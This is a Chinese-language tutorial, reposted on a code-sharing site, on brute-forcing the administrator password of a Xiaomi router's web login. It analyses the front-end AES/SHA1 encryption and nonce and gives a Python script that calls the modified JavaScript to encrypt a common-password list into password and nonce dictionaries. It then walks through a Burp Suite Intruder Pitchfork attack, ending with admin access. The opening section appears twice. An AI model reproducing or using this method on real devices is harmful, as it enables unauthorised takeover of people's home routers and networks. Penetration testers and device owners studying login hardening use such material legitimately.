ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

小米路由器管理员密码爆破

2022-04-26 22:02:00  阅读:218  来源: 互联网

标签:nonce password js 密码 管理员 路由器 小米 字典


作者:Jerrytqq

本文来源:http://33h.co/w8f8i  

目的

路由器管理员密码未知,根据已有字典爆破出管理员密码。

工具:burpsuite

脚本语言:python3.7+

 

1. 抓包分析

输入小米路由器管理员界面地址192.168.31.1

i

目的

路由器管理员密码未知,根据已有字典爆破出管理员密码。

工具:burpsuite

脚本语言:python3.7+

 

1. 抓包分析

输入小米路由器管理员界面地址192.168.31.1

 

 

 

 

 

 

 

 

 

可以发现即使2次输入相同的密码123,向服务器发送的password和nonce字段也是不一样的。

由此可以判断所输入的密码经过了加密,且存在随机数。不能直接通过字典来爆破,需要将字典加密,并附带一个随机数nonce。

 

2. 源码读取

读取前端源码

f12选取页面中的元素,查看按钮id:btnRtSubmit

 

 

 

 


在调试器的web文件中查找按钮btnRtSubmit调用的方法

 

 


发现方法为loginHandle

查看loginHandle源码

 

 

 


发现密码经过了Encrypt方法加密

查看Encrpty.oldPwd方法源代码

 

 


发现oldPwd方法调用了目录中aes.js和sha1.js两个源文件

 

3. 编写脚本代码


所以计划通过python脚本调用js,将字典中数据加密,返回值为password和nonce。
JS代码(Encrypt.js)做了如下修改:


1.修改function loginHandle()

 

 

 

 


传入值为前端文本框输入的值,输出值为经过oldPwd函数输出的值(抓包中的password值)和Encrypt方法初始化时生成的nonce(抓包中的nonce值)

2.将oldPwd所用到的Encrypt方法和CryptoJS方法写在同一个js文件中,代码截图如下

 

 

 

 

 


Python脚本如下

import urllib

import execjs  # 导入PyExecJS 库


def get_js():  # 导入js文件
   f = open("Encrypt.js", 'r', encoding='UTF-8')
   line = f.readline()
   htmlstr = ''
   while line:
       htmlstr = htmlstr + line
       line = f.readline()
   return htmlstr


jsstr = get_js()
ctx = execjs.compile(jsstr)


def creative_book():  # 创建密文密码字典
   f = open("top100PWD.txt")
   for line in f:
       r = line.strip('\n')
       utf = ctx.call('loginHandle', r)
       h = open('adobe_top100_pass_creative.txt', 'a')
       h1 = open('adobe_top100_pass_creative_random.txt', 'a')
       h.write("\n" + utf[0])
       h1.write("\n" + urllib.parse.quote(utf[1]))
       print(utf[0], urllib.parse.quote(utf[1]))
       h.close()
       h1.close()
   f.close()


creative_book()

生成2个字典adobe_top100_pass_creative.txt和adobe_top100_pass_creative_random.txt
分别存放password和nonce。
截图如下

 

 

 

 

 

4. 爆破

以上步骤完成后,生成所需字典完毕,开始使用burpsuite攻击

将所抓的包发送至Intruder

选择Pitchfork,需要爆破的字段为password和nonce。

 

 


在Payloads中加载2个字典

 

 

 

 

点击Start attack开始攻击

攻击完成后点击length长度排序,发现异常长度


查看该请求包的回应包

 


code字段为0,分发了token,表明密码正确。

释放修改password和nonce字段为Payload1和Payload2,释放数据包。


成功取得管理员权限!

源代码

https://github.com/h2so0o4/Admin_Intruder

参考资料

https://blog.csdn.net/x1t02m/article/details/81949572
https://t0data.gitbooks.io/burpsuite/content/chapter8.html 作者:掌控安全学院 https://www.bilibili.com/read/cv12644500 出处:bilibili

标签:nonce,password,js,密码,管理员,路由器,小米,字典
来源: https://www.cnblogs.com/chang09/p/16196834.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有